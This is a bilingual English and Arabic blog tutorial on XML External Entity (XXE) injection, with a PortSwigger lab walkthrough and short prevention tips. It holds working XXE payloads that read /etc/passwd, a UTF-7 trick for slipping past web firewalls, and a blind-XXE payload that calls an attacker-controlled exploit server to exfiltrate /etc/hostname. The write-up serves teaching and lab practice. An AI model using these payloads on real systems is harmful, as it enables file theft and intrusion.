<h2>Overview about XML External Entity Injection (XXE)</h2>

XML External Entity Injection (XXE) is a web security vulnerability listed in the OWASP Top 10 under the category of &ldquo;A05:2021-Security Misconfiguration.&rdquo; It arises when the server processes XML data unsafely. This vulnerability allows attackers to read internal files on the system, interact with internal services not accessible to the public via Server-Side Request Forgery (SSRF), or perform Denial of Service (DoS) attacks on the server.

<h2>Types of XXE</h2>

<h3>In-band XXE</h3>

This is the easiest type. Any action you perform will be reflected in the response, but the server will not necessarily display an error inside the response.

<h3>Out-of-band XXE</h3>

In this type, the attacker will not receive an immediate response from the web application, making it harder to detect and exploit.

First, let&#39;s understand what XML (Extensible Markup Language) is. XML is a data format used for web services to exchange data, such as in SOAP and REST. It can also be used in image formats like SVG and documents like DOCX, making the attack surface massive.

<img alt="" src="/media/blog/2024/07/29/one-one.png" style="height:269px; width:512px" />

<h2>&nbsp;</h2>

<h2>How to Detect XXE</h2>

<img alt="" src="/media/blog/2024/07/29/two-two.png" style="height:221px; width:512px" />

Here is an example of an API endpoint where you can change your profile name using the endpoint &ldquo;/api/data.&rdquo; As you can see, the value of the attribute name is reflected in the response, and the request itself is XML-based. Let&#39;s try to inject an external entity.

First, we need to create a Document Type Definition (DTD) like this:

&lt;!DOCTYPE name []&gt;

Here, <code>name</code> is the root element of the XML document. It indicates that the XML document will have a root element named <code>&lt;name&gt;</code>. Now, let&#39;s create an entity:

&lt;!ENTITY ammar &quot;Trust Line Write Up!&quot;&gt;.

Here, I declared an entity named <code>ammar</code> that has the value of &quot;Trust Line Write Up!&quot;. Now, we have everything we need, so let&#39;s combine the DTD with the entity:

&lt;!DOCTYPE name [

&lt;!ENTITY ammar &quot;Trust Line Write Up!&quot;&gt;

]&gt;

&nbsp;

<img alt="" src="/media/blog/2024/07/29/three-three.png" style="height:235px; width:512px" />

As you can see, nothing happens. The response should contain &quot;Trust Line Write Up!&quot;. This happens because we didn&#39;t call the entity we created. To do that, we need to call it inside the name entity like this: &amp;ammar;



<img alt="" src="/media/blog/2024/07/29/four-four.png" style="height:200px; width:512px" />

<h2>&nbsp;</h2>

<h2>Exploiting External Entity</h2>

Now that we can control the response from the DTD we created, how can we read files on the system?

Instead of retrieving a hardcoded value like &quot;Trust Line Write Up!&quot;, let&#39;s read a file on the system, such as &quot;/etc/passwd&quot;. We can achieve this by using the keyword &quot;SYSTEM&quot;, which indicates that the entity&#39;s value should be read from an external file. So, our previous payload will change to this:

&lt;!DOCTYPE name [

&lt;!ENTITY ammar SYSTEM &quot;file:///etc/passwd&quot;&gt;

]&gt;

And don&#39;t forget to call it using <code>&amp;ammar;</code>

&nbsp;

<img alt="" src="/media/blog/2024/07/29/five-five.png" style="height:269px; width:512px" />

&nbsp;

Let&#39;s analyze the payload more. We said that the &quot;SYSTEM&quot; keyword will retrieve data from an external file. But what happens after the &quot;SYSTEM&quot; keyword? I used a <code>file</code> protocol to read files in the internal system, but you can utilize other protocols like <code>http://</code>. This can help escalate the XXE attack with SSRF to discover open ports internally, or we can use it to check for blind XXE.

<h2>&nbsp;</h2>

<h2>XXE Tricks</h2>

Most APIs nowadays send and receive JSON data format in their API endpoints. One cool trick is that you can still test XXE at these endpoints because most APIs support both JSON and XML. How can we test that? We can either manually change the request from JSON to XML or use a Burp Extension called &ldquo;Content Type Converter&rdquo;. Let&#39;s take an example.

<img alt="" src="/media/blog/2024/07/29/six-six.png" style="height:178px; width:512px" />

&nbsp;

The same endpoint sends our data in a JSON format, so let&#39;s change the data using the previous extension.

<img alt="" src="/media/blog/2024/07/29/seven.png" />

<img alt="" src="/media/blog/2024/07/29/eight.png" style="height:220px; width:512px" />

&nbsp;

If you send it and the server does not respond with an error, it means that the server accepts XML as a content type, so you can try the previous attack.

Another trick is to encode the content of the payload using different encoding methods. For example, you can change the encoding to <code>UTF-7</code> and encode the payload content. This trick can be used to bypass Web Application Firewalls (WAF).

&nbsp;

<img alt="" src="/media/blog/2024/07/29/nin.png" style="height:345px; width:512px" />

<h2>&nbsp;</h2>

<h2>Exfiltrate data in blind XXE</h2>

I will use this <a href="https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration">lab</a> from PortSwigger to demonstrate this concept. First thing the goal of this lab is to read the content of the /etc/hostname in a blind fashion.

&nbsp;

<img alt="" src="/media/blog/2024/07/29/ten.png" style="height:196px; width:512px" />

&nbsp;

This is the normal request if we try the previous attack let&rsquo;s see what happen

<img alt="" src="/media/blog/2024/07/29/eleven.png" />

We got this message should we stop here? Of course not. It might be vulnerable to blind XXE so in order to test for that when need to utilize other protocol the one defined in the previous example http:// to see if there&rsquo;s an interaction or not?

&nbsp;

<img alt="" src="/media/blog/2024/07/29/tweeleve.png" style="height:230px; width:512px" />

&nbsp;

So, this is the request I sent to test for the blind interaction let&rsquo;s explain the payload a little bit.

<pre>
<code>
&lt;!DOCTYPE Anything [&lt;!ENTITY % TrustLine SYSTEM &quot;&lt;https://exploit-0a2f006d030d683e80597f0901a4009b.exploit-server.net/TrustLine.sa&gt;&quot;&gt; %TrustLine;]&gt;

</code></pre>

Here we know what is the <code>&lt;!DOCTYPE Anything []&gt;</code> from the previous example but we have something different here before the entity name we have <code>%</code> sign we were using only the entity name. So, what is the difference? The previous example we used something called General Entity where we need to call it in order to work. When we add the <code>%</code> before entity name we call it Parameter Entities, which allows it to reference it without <code>&amp;TrustLine;</code>. As you can see in the above payload we call the Parameter Entities in the same DTD. The URL part in the payload is an attacker control server in this case I have used the Lab Server but in real life engagement you can use your own server or, webhook.site, ngrok. All these tools will do the trick. So after sending the request we got this in the attacker server log.

&nbsp;

<img alt="" src="/media/blog/2024/07/29/thertten.png" />

which means the server interact with our own server. This is the detection part now let&rsquo;s go with the exfiltration part.

So first thing we need to create a DTD file in our server (attacker server) so we can host that malicious file to the server.

&nbsp;

<img alt="" src="/media/blog/2024/07/29/forteen.png" style="height:100px; width:512px" />

&nbsp;

Our DTD file will contain this contents and I will name it <code> TrustLine.dtd</code>.

So, let&rsquo;s explain the payload used in the DTD file.

First Entity will retrieve the desired file from the system in our case to complete the lab I have to read the contents of the /etc/hostname file so I will use that.

Second Entity is to send data to our server so it will need another entity inside to send the data retrieved from the file Entity and then we will send the data to our server (attacker server) but you can notice that there html encoding for the reference Entity data using this<code> &amp;#x25;</code> if we didn&rsquo;t encoded the inner entity our payload will not be working after that I have to call the sendTo and the data to receive the data in my server.

&nbsp;

<img alt="" src="/media/blog/2024/07/29/fifteen.png" style="height:225px; width:512px" />

&nbsp;

The request will look like the image above same payload used in the previous example however, I change the URL to point to our malicious DTD file.

After we send the request you can see the attacker server logs.

&nbsp;

<img alt="" src="/media/blog/2024/07/29/sixteen.png" />

The server interacted with our malicious DTD file and then our malicious file has been executed and sent the data to our server. Note here you can literally extract any data by utilizing the PHP protocol with filter like this:

&nbsp;

<img alt="" src="/media/blog/2024/07/29/lasttt.png" style="height:100px; width:512px" />



&nbsp;

<h2>Preventing XXE</h2>

<ol>
	<li>
	Disable DTD processing in your XML parser.
	</li>
	<li>
	Use secure parsers.
	</li>
	<li>
	Validate and sanitize all XML inputs.
	</li>
</ol>

<h2>نظرة عامة حول حقن الكيانات الخارجية في XML (XXE)</h2>

حقن الكيانات الخارجية في XML (XXE) هو ثغرة أمنية في الويب مُدرجة ضمن قائمة OWASP Top 10 تحت فئة &quot;A05:2021-خطأ في تكوين الأمان&quot;. تنشأ هذه الثغرة عندما يعالج الخادم بيانات XML بشكل غير آمن. تتيح هذه الثغرة للمهاجمين قراءة الملفات الداخلية على النظام والتفاعل مع الخدمات الداخلية غير المتاحة للجمهور عبر تزوير الطلبات من جانب الخادم (SSRF) أو تنفيذ هجمات حجب الخدمة (DoS) على الخادم.

<h2>أنواع XXE</h2>

<h3>ضمن النطاق XXE</h3>

هذا هو النوع الأسهل. أي إجراء تقوم به سينعكس في الاستجابة، ولكن الخادم قد لا يعرض خطأ داخل الاستجابة بالضرورة.

<h3>خارج النطاق XXE</h3>

في هذا النوع لن يتلقى المهاجم استجابة فورية من تطبيق الويب، مما يجعل من الصعب اكتشافه واستغلاله.

<h2>فهم XML</h2>

أولاً دعنا نفهم ما هو XML (لغة التوصيف الموسعة). XML هو تنسيق بيانات يُستخدم في خدمات الويب لتبادل البيانات مثل في SOAP و REST. يمكن أيضًا استخدامه في تنسيقات الصور مثل SVG والمستندات مثل DOCX مما يجعل سطح الهجوم هائلًا.

<img alt="" src="/media/blog/2024/07/29/1.png" style="height:221px; width:512px" />

&nbsp;

<h2>كيفية اكتشاف XXE</h2>

<img alt="" src="/media/blog/2024/07/29/2.png" style="height:221px; width:512px" />

إليك مثال على نقطة نهاية API حيث يمكنك تغيير اسم ملفك الشخصي باستخدام نقطة النهاية &quot;/api/data&quot;. كما ترى، يتم عكس قيمة اسم الخاصية في الاستجابة والطلب نفسه يعتمد على XML. دعنا نحاول حقن كيان خارجي.

أولاً، نحتاج إلى إنشاء تعريف نوع المستند (DTD) مثل هذا:

&lt;!DOCTYPE name []&gt;

هنا name هو العنصر الجذر لوثيقة XML. يشير إلى أن وثيقة XML سيكون لها عنصر جذر يسمى&lt;name&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;الآن دعنا ننشئ كيان:

&lt;&rdquo;!ENTITY ammar &ldquo;Trust Line Write Up! &gt;

<img alt="" src="/media/blog/2024/07/29/3.png" />

&nbsp;

هنا أعلنت عن كيان اسمه &lt;ammar&gt; وله قيمة &quot;Trust Line Write Up!&quot;.

الآن لدينا كل ما نحتاجه لذا دعنا ندمج DTD مع الكيان:

&lt;!DOCTYPE name [

&lt;!ENTITY ammar &quot;Trust Line Write Up!&quot;&gt;

]&gt;

كما ترى، لم يحدث شيء. يجب أن تحتوي الاستجابة على &quot;Trust Line Write Up!&quot;. يحدث هذا لأننا لم ندع الكيان الذي أنشأناه. للقيام بذلك نحتاج إلى استدعائه داخل عنصر name هكذا&nbsp; .&amp;ammar;:

<img alt="" src="/media/blog/2024/07/29/4.png" style="height:200px; width:512px" />

&nbsp;

<h2>استغلال الكيان الخارجي</h2>

الآن بعد أن تمكنا من التحكم في الاستجابة من خلال DTD التي أنشأناها، كيف يمكننا قراءة الملفات على النظام؟ بدلاً من استرجاع قيمة ثابتة مثل &quot;Trust Line Write Up!&quot;، دعنا نقرأ ملفًا على النظام مثل &quot;/etc/passwd&quot;. يمكننا تحقيق ذلك باستخدام الكلمة المفتاحية &quot;SYSTEM&quot; التي تشير إلى أن قيمة الكيان يجب أن تُقرأ من ملف خارجي. لذا سيتغير الحمولة السابقة إلى هذا:

&lt;!DOCTYPE name [

&lt;!ENTITY ammar SYSTEM &quot;file:///etc/passwd&quot;&gt;

]&gt;

ولا تنسى استدعائها باستخدام&nbsp; .&amp;ammar;

<img alt="" src="/media/blog/2024/07/29/5_qBB8nk7.png" />

دعنا نحلل الحمولة أكثر. قلنا أن الكلمة المفتاحية &quot;SYSTEM&quot; ستسترجع البيانات من ملف خارجي. ولكن ماذا يحدث بعد الكلمة المفتاحية &quot;SYSTEM&quot;؟ استخدمت بروتوكول file لقراءة الملفات في النظام الداخلي ولكن يمكنك استخدام بروتوكولات أخرى مثل http:// يمكن أن يساعد هذا في تصعيد هجوم XXE مع SSRF لاكتشاف المنافذ المفتوحة داخليًا أو يمكننا استخدامه للتحقق من XXE الأعمى.

<h2>حيل XXE</h2>

ترسل معظم واجهات برمجة التطبيقات (API) وتستقبل تنسيق بيانات JSON في نقاط النهاية الخاصة بها. حيلة رائعة هي أنه يمكنك اختبار XXE في هذه النقاط النهائية لأن معظم واجهات برمجة التطبيقات تدعم كل من JSON و .XML كيف يمكننا اختبار ذلك؟ يمكننا إما تغيير الطلب يدويًا من JSON إلى XML أو استخدام ملحق Burp يسمى

&quot;Content Type Converter&quot;. دعنا نأخذ مثالاً.

<img alt="" src="/media/blog/2024/07/29/6.png" />ترسل نفس نقطة النهاية بياناتنا بتنسيق JSON لذا دعنا نغير البيانات باستخدام الملحق السابق.

<img alt="" src="/media/blog/2024/07/29/7.png" /><img alt="" src="/media/blog/2024/07/29/8.png" />

إذا أرسلتها ولم يستجب الخادم بخطأ فهذا يعني أن الخادم يقبل XML كنوع محتوى لذا يمكنك محاولة الهجوم السابق.

حيلة أخرى هي تشفير محتوى الحمولة باستخدام طرق تشفير مختلفة. على سبيل المثال، يمكنك تغيير التشفير إلى UTF-7 وتشفير محتوى الحمولة. يمكن استخدام هذه الحيلة لتجاوز جدران حماية تطبيقات الويب .(WAF)

<img alt="" src="/media/blog/2024/07/29/9.png" />

<h2>استخراج البيانات في XXE الأعمى ( الغير مرئية )</h2>

سأستخدم هذا <a href="https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration">المختبر</a> من PortSwigger لتوضيح هذا المفهوم. أول شيء هدف هذا المختبر هو قراءة محتويات /etc/hostname بطريقة عمياء.

<img alt="" src="/media/blog/2024/07/29/one-el.png" style="height:764px; width:2000px" />هذا هو الطلب العادي إذا حاولنا الهجوم السابق، دعنا نرى ما يحدث.

<img alt="" src="/media/blog/2024/07/29/two-el.png" />

حصلنا على هذه الرسالة هل يجب أن نتوقف هنا؟ بالطبع لا.

قد يكون عرضة لـ XXE الأعمى لذا لاختبار ذلك عندما نحتاج إلى استخدام بروتوكول آخر المعرفة في المثال السابق http:// لنرى إذا كان هناك تفاعل أم لا؟

<img alt="" src="/media/blog/2024/07/29/three-el.png" />

إذن هذا هو الطلب الذي أرسلته لاختبار التفاعل الأعمى، دعنا نشرح الحمولة قليلاً.

<pre>
<code>
&lt;!DOCTYPE Anything [&lt;!ENTITY % TrustLine SYSTEM &quot;&lt;https://exploit-0a2f006d030d683e80597f0901a4009b.exploit-server.net/TrustLine.sa&gt;&quot;&gt; %TrustLine;]&gt;

</code></pre>

هنا نعرف ما هو &lt;!DOCTYPE Anything []&gt; من المثال السابق ولكن لدينا شيء مختلف هنا قبل اسم الكيان لدينا علامة&nbsp; .% كنا نستخدم فقط اسم الكيان. إذن ما الفرق؟ المثال السابق استخدمنا شيئًا يسمى الكيان العام حيث نحتاج إلى استدعائه ليعمل. عندما نضيف % قبل اسم الكيان نسميه الكيانات البارامترية التي تسمح بالرجوع إليها بدون&nbsp; &nbsp; .&amp;TrustLine;&nbsp; كما ترى في الحمولة أعلاه نستدعي الكيانات البارامترية في نفس .DTD جزء URL في الحمولة هو خادم يتحكم فيه المهاجم، في هذه الحالة استخدمت خادم المختبر ولكن في التعامل الحقيقي يمكنك استخدام خادمك الخاص أو &nbsp; &nbsp; &nbsp; webhook.site, ngrok . كل هذه الأدوات ستفي بالغرض. بعد إرسال الطلب حصلنا على هذا في سجل خادم المهاجم.





<img alt="" src="/media/blog/2024/07/29/five-el.png" />

هذا يعني أن الخادم تفاعل مع الخادم الخاص بنا. هذا هو جزء الكشف، الآن دعونا ننتقل إلى جزء استخراج البيانات.

أول شيء نحتاج إلى إنشاء ملف DTD في الخادم الخاص بنا (خادم المهاجم) حتى نتمكن من استضافة ذلك الملف الخبيث إلى الخادم.

&nbsp;

<img alt="" src="/media/blog/2024/07/29/lasttt_SRDDVQO.png" style="height:392px; width:2000px" />



ملف DTD الخاص بنا سيحتوي على هذه المحتويات وسأسميه .TrustLine.dtd

دعونا نشرح الحمولة المستخدمة في ملف .DTD

الكيان الأول سيسترجع الملف المطلوب من النظام في حالتنا لإكمال المختبر يجب علي قراءة محتويات ملف&nbsp; /etc/hostname &nbsp; لذلك سأستخدم ذلك.

الكيان الثاني هو لإرسال البيانات إلى الخادم الخاص بنا لذلك سيحتاج إلى كيان آخر داخلي لإرسال البيانات المسترجعة من الكيان الملف ثم سنرسل البيانات إلى الخادم الخاص بنا (خادم المهاجم) ولكن يمكنك ملاحظة أنه هناك ترميز HTML لبيانات الكيان المرجعي باستخدام هذا % إذا لم نقم بترميز الكيان الداخلي فلن تعمل الحمولة الخاصة بنا بعد ذلك يجب علي استدعاء sendTo والبيانات لاستلام البيانات في خادمي.

&nbsp;

<img alt="" src="/media/blog/2024/07/29/onnnee.png" style="height:225px; width:512px" />



سيبدو الطلب مثل الصورة أعلاه نفس الحمولة المستخدمة في المثال السابق ومع ذلك، قمت بتغيير عنوان URL للإشارة إلى ملف DTD الخبيث الخاص بنا.

بعد إرسال الطلب يمكنك رؤية سجلات خادم المهاجم.

<img alt="" src="/media/blog/2024/07/29/twooo.png" style="height:177px; width:512px" />

تفاعل الخادم مع ملف DTD الخبيث الخاص بنا ثم تم تنفيذ الملف الخبيث الخاص بنا وأرسل البيانات إلى الخادم الخاص بنا. لاحظ هنا يمكنك حرفيًا استخراج أي بيانات باستخدام بروتوكول PHP مع مرشح مثل هذا:





<img alt="" src="/media/blog/2024/07/29/threeee.png" style="height:100px; width:512px" />

<h2>منع XXE</h2>

<ol>
	<li>تعطيل معالجة DTD في محلل XML الخاص بك.</li>
	<li>استخدام محللات آمنة.</li>
	<li>التحقق وتنقية جميع مدخلات .XML</li>
</ol>

Broken-Access-Control-Vulnerability

A broken access control vulnerability is a critical security flaw that allows unauthorized users to access, modify, or delete data they should not have access to. This issue arises when an application fails to enforce proper access controls, enabling attackers to bypass authorization and perform actions as if they were legitimate users. Recognized as one of the most severe web application security risks

في عالم يعتمد بشكل متزايد على البيانات الرقمية الحساسة، يمثل ضمان أمن هذه البيانات أولوية قصوى. تبرز هنا ثغرة ضعف التحكم بالوصول (Broken Access Control) كتهديد كبير، إذ تسمح للمتطفلين بالولوج إلى معلومات لا يحق لهم الوصول إليها، مما يهدد سرية البيانات وسلامتها وتوافرها.

Broken Access Control Vulnerability

ثغرة ال Broken Access Control

XML-External-Entity-XXE-Attack

XML External Entity Injection (XXE) is a web security vulnerability listed in the OWASP Top 10 under the category of “A05:2021-Security Misconfiguration.” It arises when the server processes XML data unsafely. This vulnerability allows attackers to read internal files on the system, interact with internal services not accessible to the public via Server-Side Request Forgery (SSRF), or perform Denial of Service (DoS) attacks on the server.

حقن الكيانات الخارجية في XML (XXE) هو ثغرة أمنية في الويب مُدرجة ضمن قائمة OWASP Top 10 تحت فئة "A05:2021-خطأ في تكوين الأمان". تنشأ هذه الثغرة عندما يعالج الخادم بيانات XML بشكل غير آمن. تتيح هذه الثغرة للمهاجمين قراءة الملفات الداخلية على النظام والتفاعل مع الخدمات الداخلية غير المتاحة للجمهور عبر تزوير الطلبات من جانب الخادم (SSRF) أو تنفيذ هجمات حجب الخدمة (DoS) على الخادم.

XML External Entity (XXE) Attack

عمار أمين

READ NEXT

Broken Access Control Vulnerability